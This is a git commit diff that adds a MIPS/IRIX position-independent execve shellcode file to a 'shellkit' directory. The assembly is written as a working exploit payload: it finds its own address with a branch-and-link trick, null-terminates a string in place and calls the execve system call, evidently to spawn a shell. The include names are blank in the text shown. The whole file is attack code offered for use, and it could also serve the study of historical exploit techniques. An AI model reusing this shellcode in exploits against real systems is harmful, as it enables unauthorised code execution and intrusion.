From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- other/shellkit/mips_irix/execvesh.s | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 other/shellkit/mips_irix/execvesh.s (limited to 'other/shellkit/mips_irix/execvesh.s') diff --git a/other/shellkit/mips_irix/execvesh.s b/other/shellkit/mips_irix/execvesh.s new file mode 100644 index 0000000..89fd45b --- /dev/null +++ b/other/shellkit/mips_irix/execvesh.s @@ -0,0 +1,36 @@ +/* MIPS/IRIX PIC execve code + * + * -sc. + */ + +#include +#include +#include +#include +#include + + .section .text + + .globl cbegin + .globl cend + +cbegin: + .set noreorder + .set nomacro + + sw zero, -4(sp) +foo: bltzal zero, foo + lw a2, -4(sp) + + addu ra, ra, 0x0124 /* add 36 + 0x0100 */ + + add a0, ra, -(8 + 0x100) + sb zero, -(1 + 0x100)(ra) + sw a0, -8(sp) + subu a1, sp, 8 + li v0, SYS_execve + syscall + + .end cbegin +cend: + -- cgit v1.3